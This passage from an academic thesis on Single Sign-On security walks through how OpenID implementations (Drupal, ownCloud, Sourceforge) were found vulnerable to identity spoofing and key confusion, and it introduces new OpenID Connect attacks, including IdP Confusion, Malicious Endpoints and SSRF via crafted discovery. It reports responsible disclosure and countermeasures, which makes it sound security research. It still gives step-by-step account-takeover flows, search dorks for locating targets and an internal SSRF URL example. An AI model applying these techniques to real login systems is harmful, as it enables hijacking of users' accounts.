3.7.6.1 Single-Phase Attack: ID Spoofing

Among the tested targets, 8 were vulnerable to IDS. These targets were fully
compromised – all OpenID accounts could be accessed without any interaction
of the victim, and even worse, the victim is unable to detect and mitigate IDS.
Sourceforge. Initially, we started a black-box testing and detected that Source-
forge was vulnerable against IDS, Strategy 1. This investigation was in 2014 and
before our larger online evaluation described in Section 3.7.7. Consequently, we
contacted the support team and described the issue. Later on, they answered
us that vulnerability had been fixed. We analyzed Sourceforge again. Using
OpenID Attacker, we found out that the IDS attack was no longer possible.
However, we performed a KC attack and found out that Sourceforge is vulnera-
ble to this attack (Strategy 3: Cross-Phase Attack). The attacks on Sourceforge
showed us how to apply our white-box analysis attacks on a black-box system.
We were able to attack Sourceforge in a fully-automatic manner without know-
ing its exact OpenID implementation.

105



3 Single Sign-On Security

ownCloud. OwnCloud [175] is a PHP-based, open source cloud framework.
Its OpenID implementation is interesting because ownCloud does not verify
the token’s signature itself. Instead, it uses the check authentication OpenID
feature [221, Section 11.4.2]: ownCloud sends the token t to the according IdP
and lets it verify t (instead of verifying t itself). This means that using OpenID
Attacker in order to send, for example, a token for a Yahoo account would lead
ownCloud to send the token directly to the Yahoo server for verification, which
will not accept it.
By examining OpenID’s message flow, we found out that it is vulnerable to

IDS, Strategy 2.

Attacker ownCloud SP ID ServerA IdPA

(1.) Login Request: URL.IDA
(2.) Discovery: lookup URL.IDA

(3.) URL.IdPA

(4.) URL.IdPA,URL.SP

(5.) Token t = (URL.IDA, . . . ), signature σ

(6.) Discovery: lookup URL.IDA

(7.) URL.IdPA, URL.IDV

(8.) check authentication on URL.IdPA: t, σ

(9.) is valid: true
(10.) Success: Login with URL.IDV

Figure 3.10: The ID Spoofing attack on ownCloud: the attacker’s ID server
returns URL.IDV upon the Rediscovery. OwnCloud uses this identity value for
the login instead of the identity provided within the token.

The attack works as depicted in Figure 3.10. Once ownCloud receives the
OpenID token (Step 5), it performs a Rediscovery on the contained identity.
We configured OpenID Attacker to include the victim’s identity URL.IDV in
the discovered document (Step 7) additionally to URL.IdPA. Afterwards, own-
Cloud sends the token to the attacker’s IdPA (Step 8) by using the discovered
URL.IdPA and it returns that the token is valid (Step (9). Surprisingly, instead
of using the URL.IDA contained in t to log in the user, ownCloud uses URL.IDV
(that was returned in Step 7). We were logged in with the victim’s identity.
We contacted the ownCloud security team, reported the issue and they ac-

knowledged our work.11

3.7.6.2 Cross-Phase Attack: Key Confusion with Session Overwriting

3 targets were vulnerable to Key Confusion (KC): Drupal, Zend Framework, and
Sourceforge. These implementations used a key belonging to OpenID Attacker

11In an email.
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for verifying the signature instead of using the key belonging to the victim’s
IdP.
Drupal. Drupal [47] is a free open source CMS. It is based on PHP and ac-
cording to W3Techs [235], it is the third most frequently used CMS. Its OpenID
support is shipped with every Drupal distribution and just needs to be activated
within the settings menu.
Starting our white-box analysis on Drupal, we submit URL.IDA on the login

form. The SP starts the Discovery on it and receives URL.IdPA belonging to
our OpenID Attacker IdP. Drupal redirects us to it, but instead of creating
a token for URL.IDA, it creates a token t˚ “ pURL.IDV , . . . q containing the
victim’s Yahoo identity (IDS attack, Strategy 1). Sending t˚ to Drupal does
not succeed. Drupal notices that the originally submitted identity URL.IDA
differs from the value URL.IDV contained in t˚. As a result, Drupal starts
a second discovery on URL.IDV , which returns URL.IdPV . Drupal compares
this value to URL.IdPA returned by the first discovery. Since the values are
not equal, we are not logged in. Interestingly, Drupal does not compare the
discovered value with the value URL.IdP contained in t˚, thus sending a token
t˚ “ pURL.IDV ,URL.IdPV , . . . q also fails.
In order to prevent the second discovery process, which mitigates the at-

tack, we analyzed the source code. We found out that Drupal uses the PHP
$_SESSION variable to store and load URL.ID and URL.IdP . In this manner,
Drupal links both messages: the Login Request and the received token.
The $_SESSION variable is a globally available PHP array, which holds arbi-

trary session data on a per-user basis. Whenever Drupal receives an OpenID
token t˚, it first verifies if the URL.ID parameter, contained in t˚, matches the
value stored in $_SESSION. If they differ, as in the case of the IDS attack, Dru-
pal starts again a discovery on URL.ID contained in t˚. The discovery returns
the corresponding URL.IdP and if these values do not match the value of the
URL.IdP parameter stored in $_SESSION, t˚ is not accepted.
To finally prevent the second discovery and to bypass the verification logic,

we had to overwrite the $_SESSION variable. The attack is shown in Figure 3.11
and works as follows:

(1.)-(3.) A Login Request with the attacker’s account URL.IDA is started. This
starts Phase 1 of OpenID. Drupal discovers it and stores URL.IDA and
URL.IdPA in $_SESSION.

(4.) Drupal starts an Association with IdPA, which returns β (using KC Stra-
tegy 3).

(5.)-(7.) Phase 2 begins. Drupal redirects the attacker to URL.IdPA. OpenID
Attacker creates a token t˚ “ pURL.IDV ,URL.IdPV , URL.SP, βq. Then
the attacker delays the sending of the token to Drupal.

(8.)-(10.) The attacker submits a further Login Request to Drupal, but this time
with the victim’s identity URL.IDV . This again starts Phase 1 – we have
a Cross-Phase Attack. Drupal starts a new discovery on it and receives
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Attacker Drupal SP ID ServerV IdPV ID ServerA IdPA
(1.) Login Request: URL.IDA

(2.) Discovery: lookup URL.IDA

$ SESSION[URL.ID] := URL.IDA
$ SESSION[URL.IdP ] := URL.IdPA

(3.) URL.IdPA

(4.) Association β
(5.) URL.IdPA,URL.SP, β

(6.) Redirect to URL.IdPA → URL.SP, β

(7.) Token t∗ = ( URL.IDV , URL.IdPV ,URL.SP, β), protected by signature σ

(8.) Login Request: URL.IDV
(9.) Discovery: lookup URL.IDV

Overwrite:
$ SESSION[URL.ID] := URL.IDV
$ SESSION[URL.IdP ] := URL.IdPV

(10.) URL.IdPV

(11.) Association α(12.) Ignored

(13.) Redirect to URL.SP → t∗, σ
Check if:
• $ SESSION[URL.ID]︸ ︷︷ ︸

locally stored URL.ID

== t∗.URL.IDV︸ ︷︷ ︸
URL.ID value in t∗

• true=verify(t∗, σ) using t∗.β
(14.) Success

X
X

Figure 3.11: Cross-Phase Key Confusion attack on Drupal: before the token
t˚ in Step 7 is forwarded to Drupal in Step 13, the attacker starts a second
Login Request in Step 8 using the victim’s identity URL.IDV . This overwrites
the URL.ID and URL.IdP data stored in $_SESSION and prevents the second
discovery.

URL.IdPV . Both values, URL.IDV and URL.IdPV , are then stored in
$_SESSION, overwriting URL.IDA and URL.IdPA.

(11.) Drupal starts another Association with IdPV , which returns α.

(12.) Drupal redirects the attacker to URL.IdPV , but this redirect is not rele-
vant for the attack.

(13.)-(14.) The halted token t˚ in (7.) is now sent to Drupal. Drupal verifies
the signature. The interesting point at this step is that Drupal loads the
key from the database by only using β contained in t˚. It does not verify
whether the Association β was really established with URL.IdPV . Thus,
the signature is valid. Then Drupal compares the values of URL.IDV and
URL.IdPV contained in the token with the ones stored in $_SESSION. As
they are equal, there is no second discovery and we are logged in with the
victim’s identity.

We reported the issue to the Drupal security team and suggested to fix it by
fetching the key via pURL.IdP, α{βq instead of using α/β only. They accepted
the idea and implemented it in their new Drupal releases [219]. For a better
understanding, we created a video as a demonstration of this attack that shows
the usage of OpenID Attacker [128].
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3.7.6.3 Additional Findings

In addition to the previous findings, we identified some interesting results during
our evaluation.
Signature Bypass: Unsigned OpenID Parameters. The OpenID spe-
cification [221, Section 10.1] requires the following parameters to be signed:
op_endpoint, return_to, response_nonce, assoc_handle, claimed_id and
identity. 4 of 17 targets (CFOpenID, OpenID CFC, OpenID 4 Node.js, Zend
Framework) accept tokens in which some of these parameters were not signed,
and could thus be forged by an attacker.
Parsing Attack: XXE.We determined that 2 of 17 analyzed targets (OpenID
CFC, Net::OpenID::Consumer) are susceptible to XML External Entity (XXE)
attacks (cf. Section 2.1.3). For this attack, the XXE payload is placed in
the Discovery using XRDS instead of HTML. Additionally, we found out that
Slashdot [201] (Alexa rank 1427) was vulnerable to XXE because of using the
Net::OpenID::Consumer library. Slashdot acknowledged our findings [202]. An
interesting fact was that lots of implementations used regular expressions (in-
stead of an XML parser) to process the Discovery, thus XXE was not possible
in these cases.
Replay Attack. OpenID has only one parameter containing a timestamp
(openid.response_nonce). It includes the creation time of the token concate-
nated with a random string, but does not include an expiration time. Thus, the
SP can decide on its own how long it accepts such a token.
The lifetime of a token is additionally limited by the lifetime of the Asso-

ciation and the corresponding key. We found that this lifetime varies heavily:
Associations with Yahoo have a lifetime of 4 hours, with Google 13 hours, and
with MyOpenID 14 days.

3.7.7 Online Website Evaluation

One year after our reports to the developers of vulnerable OpenID implemen-
tations, we wanted to find out if online websites are vulnerable to the attacks
discussed in this section.
Searching Methodology. The first task for the evaluation is to identify web-
sites offering OpenID as a login system. Since there is no Alexa-like database
that could be queried to get a list of OpenID websites, we elaborated techniques
facilitating the searching process:

§ The detailed knowledge on the protocol and the according parameters in
the authentication request and token can be used to improve the searching
results. For instance, a possible search term is inurl: openid.claimed_id
and openid.identity. As a result, all URLs containing these parameters
will be displayed.

§ Observing the analyzed frameworks in Table 3.4, we estimated that the
term login?openid is commonly used in the URLs. By using this search
term, we found the most of the analyzed websites.

§ By using different search engines like Google, Bing and Yahoo, we ex-
tended our list of target websites.
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§ A helpful search engine is NerdyData, which analyses the source code of
websites.

§ There are also websites and blog entries listing several websites supporting
OpenID, but visiting them revealed that they do no longer support the
protocol.

All in all, we found 137 websites.

Set-Up. Next, we analyzed the login mechanisms on the websites. For 49% of
them, we could not provide the security evaluation due to the following prob-
lems:

§ The website did not offer a public user registration (closed community).
Thus, the registration of our test accounts was not possible.

§ Faulty implementations led to unknown errors on the website and the login
via OpenID was not feasible.

§ The website supported only fixed IdPs (e.g., Yahoo) so that we could not
apply our malicious IdP approach.

§ The website required payment with a credit card during registration. Test-
ing non-free accounts was considered out-of-scope during this research.

§ The website contained OpenID elements, like openid2.provider. How-
ever, no OpenID login mechanisms was provided. For instance, Amazon
uses OpenID parameters for the transport of data, but not for authenti-
cation and within an SSO login.

As a result, we were able to log in with OpenID to 70 out of 137 websites
(51%). Consequentially, we evaluated the websites satisfying our methodology
described in Section 3.7.5.

Results. 26% of the tested websites (18 of 70) were vulnerable to 1 of our 3
attacks. On 11 websites, IDS was possible (16%), 4 were vulnerable to KC (6%)
and Wrong Recipient affected 8 websites (16%). Although this was a black-box
evaluation, we could identify Drupal and Net:OpenID:Consumer implementa-
tions in 7% of the tested websites. These used an updated version (after our
initial security report) and were no longer vulnerable. Our results are depicted
in Figure 3.12.

49%
OpenID tests
not possible

51%
Tests with

OpenID Attacker
 possible

67%
Not vulnerable

67%
Not vulnerable

Fixed library

7%

26%
Vulnerable

16%

6%

11%

Vulnerable: TRC

Vulnerable: KC

Vulnerable: IDS

Figure 3.12: Statistic of our online website evaluation.

Compared to the analyzed frameworks in Table 3.4, where 71% were vulnera-
ble, the number of vulnerable websites is lower: 26%. The reason for the result
is the fact that many of the websites (41%) use the JanRain library since it
is easy to integrate and it supports a plethora of SSO protocols like OAuth,
Facebook Connect, OpenID and OpenID Connect. Thus, IDS Strategy 1 and
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3, KC and Wrong Recipient are not applicable on these websites.

OXID Shopping System. During our analysis, we successfully applied the
IDS attack on 11 targets. It was surprising that 6 of them used the JanRain
OpenID library, so we expected them to be not vulnerable (cf. Table 3.4). But
instead of identifying a user by the URL.ID parameter, they used the email
parameter. Thus, these implementations were vulnerable to IDS Strategy 2.
This example illustrates that even a secure implementation like JanRain can
be bypassed if it is used incorrectly. We investigated the websites further and
found out that they all used the OXID Shopping System [176]. We contacted
the vendor and they acknowledged our work [177].

3.7.8 Summary

We showed that SSO protocols and implementations are a high-value attack
target. Although there is a lot of research in the area of SSO [206, 216, 246]
and OpenID [105, 217, 238], the number of vulnerabilities found is surprisingly
high.
With OpenID, we showed for the first time that the concept of a malicious

IdP is a threat to all open SSO protocols. In the next section, we will adapt
this concept to OpenID Connect as well.
We made the source code of OpenID Attacker public [131], encouraging re-

searchers and penetration testers to use this tool to further improve security in
SSO systems, and to adapt it to other protocols.

3.8 OpenID Connect

OpenID Connect [223] is the successor of OpenID and used by companies like
Google and Amazon. The protocol is based on OAuth and adds an authentica-
tion layer to it. In this section, we describe the OpenID Connect protocol. We
then introduce novel attacks based on the concepts of Single-Phase Attacks and
Cross-Phase Attacks. Two of our novel Cross-Phase Attacks break the current
OpenID Connect specification and we communicated our results to the OAuth
and OpenID Connect working groups. We applied our SSO Attacker Paradigm
to evaluate the security of 8 OpenID Connect libraries. Among them, 6 had
implementation issues and we successfully evaluated all 8 as being vulnerable
to the identified specification flaw attacks.
The results presented in this section are based on our paper “SoK: Single

Sign-On Security – An Evaluation of OpenID Connect” [134].

3.8.1 Technical Background

In the following, we explain the technical details of the OpenID Connect protocol
and the therein used SSO token.
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User UA SP ID Server IdPU

confEndp regEndp authEndp tokenEndp(1.) Login Request
(2.) Issuer Discovery

(3.) Configuration Discovery: regEndp, authEndp, tokenEndp
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(5.) Token Request

(6.) End-User Authentication on IdPU

(7.) Token Response

(8.) Token Redemption

(9.) Success?

Phase 1:
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Phase 2:
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Generation
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Token
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Figure 3.13: The OpenID Connect protocol hybrid flow.

3.8.1.1 Protocol

The three phases of SSO (cf. Section 3.1.1) mapped to OpenID Connect are
depicted in Figure 3.13. Similarly to OpenID, the OpenID Connect protocol can
make use of an ID Server. For a better understanding of the attacks presented
in this thesis, we distinguish between different URLs (Endpoints) on the IdP.
The OpenID Connect login is started with the End-User submitting his iden-

tity to the SP in Step 1. This can be either an email or a URL.

Phase 1: Trust Establishment. This phase consists of three steps.

(2.) The SP can optionally start the Issuer Discovery to determine which IdP
it must use in order to authenticate the End-User [224]. The SP there-
for extracts the domain of the URL or email and fetches the document
.well-known/webfinger on it. The server responds with a JSON docu-
ment containing the URL of the IdP (href parameter).

(3.) Next, the SP can gather metadata information about the IdP. If the Issuer
Discovery was executed, the SP concatenates the URL of the IdP with the
string .well-known/openid-configuration. This URL represents the
Configuration Endpoint (confEndp) on the IdP. The SP fetches the JSON
document at the confEndp, which contains further endpoints used in the
OpenID Connect protocol: Dynamic Registration Endpoint (regEndp),
Authorization Endpoint (authEndp), Token Endpoint (tokenEndp). In
addition to these endpoints, the IdP returns the issuer parameter, similar
to the Issuer Discovery. The SP must then verify if the issuer parameter
from Step 3 is identical to the href parameter from Step 2. Further
information can also be returned [224, Section 3].

(4.) The next optional step is Dynamic Registration [225]. This step allows an
on-the-fly registration of the SP with the IdP. The SP accesses the regEndp
URL (e.g., https://honestIdP.com/register) therefor and registers its
own URL (e.g., http://sp1.net). The IdP’s response contains credentials
(IDSP and SecretSP ) that are going to be used in Phase 3 for authenti-
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cating the SP at the IdP. It is noteworthy that this step is transparent for
the End-User.

Phase 2: Token Generation. The Token Generation Phase works as follows:

(5.) The SP creates the Token Request and redirects the End-User’s user agent
to the authEndp. The Token Request contains several parameters.

§ response_type defines which so-called flow of OpenID Connect is
used (code, implicit, hybrid). For reasons of simplicity, we do not go
into detail here. We use the hybrid flow in the following because it
is generally spoken a combination of the other ones and can be used
to describe all of our attacks in this thesis.

§ IDSP tells the IdP the identity of the SP.

§ redirect_uri has a functionality similar to URL.SP in OpenID (cf.
Section 3.7.1).

§ scope defines resources that the SP wishes to access.

§ state protects the SP against CSRF attacks.

(6.) If the End-User is not yet authenticated on the IdP, he has to log in. In
this step, the IdP may also show a Consent-Page displaying the resources
the SP wishes to access [223, Section 3.1.2.4].

(7.) The IdP generates the Token Response, and redirects the End-User’s user
agent to the redirect_uri. The Token Response contains a parameter
code. If the state parameter was previously used, it is again contained so
that the SP can verify it by comparing the value to the initial one. In the
hybrid flow, there are two further optional parameters: a) id_token and
b) access_token. The id_token is the SSO token. The access_token
allows retrieving resources according to the scope (not shown in Fig-
ure 3.13).

Phase 3: Token Redemption. The Token Redemption Phase is optional in
OpenID Connect, but in the hybrid flow described below, it is used.

(8.) The SP uses the code parameter from the Token Response and submits
it to the tokenEndp URL, using IDSP and SecretSP for authentication.
Then the IdP can return a) an id_token, b) an access_token, or c) both
of them.

If an id_token is returned, the SP uses it to log in the End-User, and the
login procedure finishes in Step 9. The access_token can again be used to
retrieve resources from the IdP (not shown in Figure 3.13).
To sum up, the OpenID Connect hybrid flow can consist of up to two id_tokens

and up to two access_token. This is for flexibility reasons. For example, if an
SP uses client-side code (e.g., JavaScript), it can use the id_token/access_token
in the front-channel (Step 7). If a server-side component is used (e.g., PHP),
the back-channel is used (Step 8).

113



3 Single Sign-On Security

3.8.1.2 OpenID Connect SSO token

An example of an SSO token in OpenID Connect is shown in Listing 3.3. The
token consists of three parts. (1.) Header, (2.) Body, and (3.) Signature.

Listing 3.3: Example OpenID Connect token.

1 Header:
2 {
3 "alg": "HS256",
4 "typ": "JWT"
5 }
6

7 Body:
8 {
9 "iss": "https :// honestOP.com/",

10 "sub": "user1",
11 "exp": 1444148908 ,
12 "iat": 1444148308 ,
13 "nonce": "40c6b33b9a2e",
14 "aud": "ID_SP",
15 }
16

17 Signature:
18 Verify: valid/invalid?

For transferring the token, the following steps are executed:

(1.) The header is Base64 encoded (Lines 2-5).

(2.) The body is Base64 encoded (Lines 8-15).

(3.) Steps 1-2 are concatenated by a dot.

(4.) The signature is computed on the result of Step 3 and encoded using
Base64.

(5.) The final SSO token is the result of Steps 3-4, concatenated by a dot.

The identity of the End-User is determined by two parameters: issuer (iss),
which represents the identity of the corresponding IdP, and subject (sub), the
End-User’s account name on the IdP. The parameters expired (exp), issued at
(iat), and nonce are used to ensure the freshness of the token. The audience
(aud) parameter contains the value of IDSP (recipient information).
We describe the parameters in more detail in the following section for a better

understanding of the Single-Phase Attacks.
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3.8.2 Single-Phase Attacks on OpenID Connect

In this section, we present Single-Phase Attacks on OpenID Connect that we
have identified during our research. The attacks can be applied in the SSO At-
tacker Paradigm. For a general attack description, we again refer to Section 3.5,
and only describe the adaption to OpenID Connect below.

3.8.2.1 ID Spoofing (Cat B)

The End-User’s identity is defined by the combination of two parameters: (1.) iss
and (2.) sub (cf. Lines 9-10 in Listing 3.3). The iss parameter is defined as the
URL of the IdP. The sub parameter can be arbitrarily chosen by the IdP, for
example, it can be a further URL or an email address.
This enables different strategies for an IDS attack. Each strategy is a Cat B

attack enabling the login with an arbitrary identity on the IdP and no interaction
by the victim is necessary.
Strategy 1. Change the sub only. The attacker can use his malicious IdP to
set the value of the sub parameter to the one belonging to the victim. If the
SP determines the identity of the End-User by using the sub parameter only,
this IDS strategy is possible. This is a wrong identity verification according to
the OpenID Connect specification [223, Section 5.7] because the sub parameter
must be used in combination with the iss parameter as a representation of the
End-User’s identity.
Strategy 2. Change the sub and iss. This strategy works like the first one, but
in addition, the iss value is changed to the one belonging to the victim’s IdP,
for example, to Google’s URL. Thus, the identity of the End-User is changed to
the victim’s one with regard to the specification.
As a general countermeasure, the SP must verify if the malicious IdP is al-

lowed to create the token with the contained identity [223, Section 3.1.3.7]. For
example, the attack will be detected if the SP compares the iss parameter in
the SSO token with the value of the Issuer Discovery from Phase 1. Another
approach is to verify the signature with the key material belonging to the iss
parameter.
Strategy 3. Email Spoofing. Similar to IDS in OpenID (cf. Strategy 2 in
Section 3.7.2.1), it is possible to add further identity information within the
SSO token. For example, an email parameter can be included in the token.
If this parameter is used to log in the End-User on the SP, a further IDS
strategy is possible. Since OpenID Connect does not offer any guarantees for the
included email address, the malicious IdP can use an arbitrary one, for example,
admin@google.com.

3.8.2.2 Wrong Recipient (Cat A)

Each SSO token in OpenID Connect has a list of specified recipients. The SPs
can be specified in the aud parameter as shown in Line 14 in Listing 3.3. In
contrast to OpenID, the aud parameter does not contain the URL of the SP,
but its identifier that was specified during the registration of the SP (IDSP ).
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If a token is allowed to be redeemed at multiple SPs, different values can be
separated by whitespaces.
For the detection of a Wrong Recipient attack, the attacker can use the ma-

licious IdP. In the Token Response, the aud parameter of the SSO token is set
to a random value. If the SP accepts the token, it is vulnerable.
To exploit this vulnerability, an interaction by the victim is required (Cat A

attack). For a detailed description, we refer to the analogous attack on OpenID,
as described in Section 3.7.2.2.

3.8.2.3 Replay (Cat A)

The SSO token in OpenID Connect has different parameters with respect to
the token freshness. The example token shown in Listing 3.3 uses exp, iat,
and nonce (Lines 11-14). To enforce the one-time usage of it, each parameter
representing the freshness of the token must be verified properly. Otherwise,
Replay attacks are possible, for example, a former employee could get access to
an SP for an infinite amount of time.
For the detection of a Replay attack, the attacker can use its malicious IdP

for creating invalid tokens. The malicious IdP generates a token and sets the
value of exp to the past, the value of iat to the future, or he reuses the nonce
parameter in a second token. According to the specification [223, Steps 9-11 in
Section 3.1.3.7], these values must be verified.
To exploit Replay attacks on OpenID Connect in real-world scenarios, the

attacker needs to get access to a token so that he can reuse it. This can be
achieved, for example, by searching in support forums, as it was shown by So-
morovsky et al. [206].

3.8.2.4 Signature Bypass (Cat B)

There are two main parameters with respect to cryptography contained in an
OpenID Connect SSO token. First, there is the parameter algorithm (alg) in
the JWT header, as shown in Line 3 of Listing 3.3. This parameter defines the
algorithm that is used to sign the token (e.g., HMAC with SHA-256). Second,
there is the signature value, which is indicated by Line 18.12

A Signature Bypass attack on OpenID Connect can be conducted by setting
the alg parameter to the value none [138]. This is allowed due to the JWT spe-
cification and in the OpenID Connect specification, none is allowed if the token
is transferred in the back-channel (message 8 in Figure 3.13). But none must
not be used if the token is transferred via the End-User’s user agent (message 5
in Figure 3.13).
The JWT header can include additional cryptography-related parameters,

for example, the key id (kid) parameter that can be used to refer to a specific
signature key. If the attacker can enforce the SP to use a key controlled by him,
a further Signature Bypass attack is possible.
Using a malicious IdP, both variants can be easily verified. The SP must

prevent these attacks by (1.) blacklisting weak and broken algorithms such as
12To increase the readability, we did not include a real signature value in Listing 3.3.
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none and (2.) ensuring to use trusted keys only, for example, by comparing the
key’s origin with the iss parameter.

3.8.3 Cross-Phase Attacks on OpenID Connect

We have discovered three novel types of Cross-Phase Attacks in OpenID Connect
according to the SSO Attacker Paradigm and describe them in the following.
The Issuer Confusion attack is an implementation flaw, while the IdP Confusion
and the Malicious Endpoints attacks are both breaking the current OpenID
Connect specification.

3.8.3.1 Specification Flaw: IdP Confusion (Cat A)

IdP Confusion is a novel attack on OpenID Connect classified as Cat A. The
core idea of the attack is to confuse the SP regarding the involved IdP by using
an HTTP redirect from the malicious IdP to the honest IdP and thus hiding
the existence of the second IdP. The attack works because of a missing binding
between Phase 2 and Phase 3 of the protocol: when the SP receives the code in
the Token Response, there is no information contained on which IdP the code
must be used in the Token Redemption Phase. This leads to an error in Phase
3 and a malicious IdP can steal the code and even the SecretSP .
Prerequisites. The victim must have an account on the SP and on his honest
IdP. If the SP supports Discovery and Dynamic Registration, the attack can be
started on the fly. Otherwise, the SP must register the malicious IdP (IdPA)
manually.
Preparation. The IdP Confusion attack is depicted in Figure 3.14 and stripped-
down to only show parameters relevant for this attack. Please note that there
are five different entities involved in this attack: a) The attacker (using a user
agent), who b) controls his malicious IdP (IdPA) as well as c) the victim, d) his
honest IdP (IdPV), and e) the SP.
The attacker has to prepare the attack in order to execute it.

(1.) The IdP Confusion attack begins with the attacker starting a Login Re-
quest at the SP.

(2.) As a result, the SP generates the Token Request. For the IdP Confusion
attack, the parameters IDSP and nonce are relevant. The attacker stops
here and does not follow the redirect to the IdP.

(3.) The attacker uploads the IDSP and nonce values to its malicious IdP so
that he can use them during the attack. Please note that the IDSP is
constant if the attack is run multiple times, but the nonce changes.

Execution. We describe the attack execution below. The attack execution
requires the victim’s interaction (Cat A).

(4.) The victim visits the attacker’s website or clicks on a malicious link. This
manages to start the login to the SP with an identity of the malicious IdP.
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(10.) Download: code
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Figure 3.14: IdP Confusion Cross-Phase Attack: we identified a logical flaw in
the OpenID Connect specification. The core idea of the attack is an HTTP
redirect from IdPA to IdPV .

(5.) The SP starts the Token Request, which contains the parameters IDSP

and new nonce’ value. The victim’s user agent redirects him to the
authEndp on the malicious IdP.

(6.) Instead of creating a Token Response, the core of the attack takes place:
The malicious IdP responds with an HTTP redirect to the honest IdP
(IdPV). All parameters from the initial Token Request are contained.
Only the nonce’ parameter is exchanged by the previously uploaded nonce
value. The same holds for ID1SP , which is replaced by IDSP . This is
essential for the attacker in order to log in successfully with the victim’s
identity later.

(7.) Once the victim is redirected to the honest IdP, he can be prompted to
authenticate to it. If the victim already has a session on the honest IdP,
there might be no interaction and this step is skipped. In that case, the
attack is stealthy for the victim. Please note that this step is the only one
during which the victim can become suspicious if an authentication dialog
appears.

(8.) The honest IdP generates the Token Response. In this step, the code
parameter is returned and redirected to the SP.

(9.) The honest IdP extracts the code from the Token Response. Now, the
Token Redemption Phase takes part. The honest IdP wants to send the
code to the IdP, but due to the HTTP redirect, which was invisible for
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the SP, it believes that the IdP to which it must send the code is the
malicious IdP.

(10.) Now, the attacker wants to use the stolen code to log in to the SP with
the victim’s identity. He therefore downloads it from its malicious IdP.

(11.) The attacker now sends the downloaded code to the SP. For the SP, this
message looks like a Token Response.

In the following steps, the SP redeems the code on the honest IdP and logs
the attacker into the victim’s account.
The Nonce Complexity. The preparation in Steps 1-3 is necessary since the
nonce parameter is essential for the redemption of the stolen code. Otherwise
the SP can detect the attack during the validation of the SSO token.
More technically spoken, these steps are only used to get a nonce that will

be later on replaced in Step 6.13 This is essential because once the attacker
sends the stolen code to the SP in Step 11, the SP proceeds with the Token
Redemption Phase: it sends the code to the tokenEndp of the honest IdP, which
returns the id_token. This id_token contains the value of the nonce that is
used in the Token Request (Step 1). Additionally, the SSO token is signed. If
the attacker does not use Steps 1-3 to get a valid nonce, the id_token will be
rejected by the SP due to an invalid nonce.
Since this attack directly breaks the OpenID Connect specification, it can

only be countered by a specification change. We describe this change and the
countermeasure in Section 3.8.4.

3.8.3.2 Malicious Endpoints attacks

Malicious Endpoints attacks are novel attacks on OpenID Connect classified
as Cat A. The general attack idea is to misuse the Discovery in Phase 1 of
the protocol for distributing endpoints in a smart way to influence the other
phases. We here present different types of Malicious Endpoints attacks, leading
to broken End-User authentication, Server-Side Request Forgery (SSRF), and
DoS attacks.

3.8.3.3 Malicious Endpoints attack: Broken End-User Authentication
(Cat A)

The core idea of the attack takes place in Phase 1 of the protocol: the attacker
uses his malicious IdP and the Discovery to distribute the endpoints. The
regEndp and the authEndp are pointing to the honest IdP, while the tokenEndp
is on the malicious IdP. This leads to a broken End-User authentication in Phase
3 because the malicious IdP gets access to the code and the SecretSP .
Prerequisites. The victim must have an account on the SP and on his hon-
est IdP. The SP supports Discovery. If Dynamic Registration is additionally
supported, the attack is easier to apply.
13The IDSP could also be determined once because it does not change. We just illustrated

this for completeness.
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Execution. In the following, we describe the attack protocol flow, which we
depicted in Figure 3.15.

Victim UA SP IdP A IdP V

ID Server confEndp tokenEndp regEndp authEndp
(1.) Login Request: victim@IdP A

(2.) Issuer Discovery: confEndp

(3.) Attack Core in Configuration Discovery:
regEndp, authEndp, tokenEndp

(4.) Dynamic Registration: IDSP , SecretSP

(5.) Token Request

(6.) End-User authentication

(7.) Token Response: code

(8.) Vulnerability in Token Redemption:
The malicious IdP gets the code, IDSP , and SecretSP

Phase 1:
Trust
Establishment

Phase 2:
Token
Generation

Phase 3:
Token
Redemption

Figure 3.15: Malicious Endpoints Cross-Phase Attack: by manipulating the Dis-
covery, the attacker steals the code leading to broken End-User authentication.

(1.) The attacker manages the victim to start the login on the SP with an
identity of the malicious IdP.

(2.) The SP starts the Issuer Discovery. As a result, the SP receives the
confEndp. Please note that for simplifying Figure 3.15, we did not use a
separate ID Server, as this does not affect the attack concept.

(3.) Next, the SP uses the confEndp to retrieve further information about the
IdP. For the Malicious Endpoints attacks, the relevant parameters are
regEndp, authEndp, and tokenEndp. The trick of the attack is to split
these endpoints amongst both IdPs: the regEndp and the authEndp are
pointing to the honest IdP (IdPV , blue lines), while the tokenEndp is on
the malicious IdP (IdPA, red line). These endpoints mainly influence on
which IdP each SSO protocol phase takes place.

(4.) The SP then starts the Dynamic Registration to finish Phase 1 of the
protocol. For this reason, it uses the regEndp, which means that the
SP registers on the honest IdP. As a result, the SP receives IDSP and
SecretSP .

(5.) Phase 2 starts and the SP creates a Token Request. The victim receives
it and its user agent redirects him to the honest IdP. This redirect is
influenced by the authEndp. Due to the discovered configuration in Step
3, this redirect does not lead to the malicious IdP.

(6.) On the honest IdP, the victim can be prompted to authenticate to it. If
the victim has a running session on it, for instance, he is already logged
in, there might be no interaction and this step is skipped. Similar to the
IdP Confusion attack, the Malicious Endpoints attack is stealthy in this
case and cannot be detected by the victim.
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(7.) The honest IdP creates the Token Response. This message contains the
code. The victim’s user agent redirects him to the SP.

(8.) Phase 3 starts. In this step, the vulnerability takes place. Instead of send-
ing the code together with its credentials (IDSP , SecretSP ) to the honest
IdP, they are sent to the malicious IdP. This is because the malicious
IdP has set the tokenEndp in the Discovery in Phase 1 to point to the
malicious IdP.

To complete the attack, the attacker can now use the received code. He
redeems it on the honest IdP by sending it to the real tokenEndp on the honest
IdP and uses the additionally stolen IDSP and SecretSP to authenticate the
request. This enables the attacker to access the victim’s resources on the honest
IdP.

3.8.3.4 Malicious Endpoints attack: Server-Side Request Forgery (SSRF)

SSRF attacks allow an attacker to create requests from a vulnerable web ap-
plication to other servers connected to it, for example, to applications in the
Internet or Intranet. In this thesis, we have shown how to use an XML parser
for starting SSRF (cf. Section 2.1.4).
In OpenID Connect, an SSRF attack can be conducted by returning a spe-

cially crafted Configuration Discovery. The endpoints here do not point to a
server, but to the SSRF target, for example, to http://192.168.0.1/shutdown.
Please note that the URL points to a resource in the Intranet and is thus not
reachable for the attacker from the Internet.
The severity of SSRF attacks have been shown by recent research on compa-

nies like PayPal [195] and Yahoo [106].

Execution. The attack setups differs to the previous broken End-User attack
because in the SSRF variant of the Malicious Endpoints attack, the attacker
starts the login process himself using its own identity. We thus do not have the
requirement of a victim interaction to launch SSRF.
Once the SP starts the Issuer Discovery in Phase 1, the malicious IdP has the

first possibility to start SSRF. The malicious IdP can return a confEndp pointing
to the desired target URL. However, there is a technical restriction due to the
OpenID Connect specification. If the malicious IdP returns, for example, http:
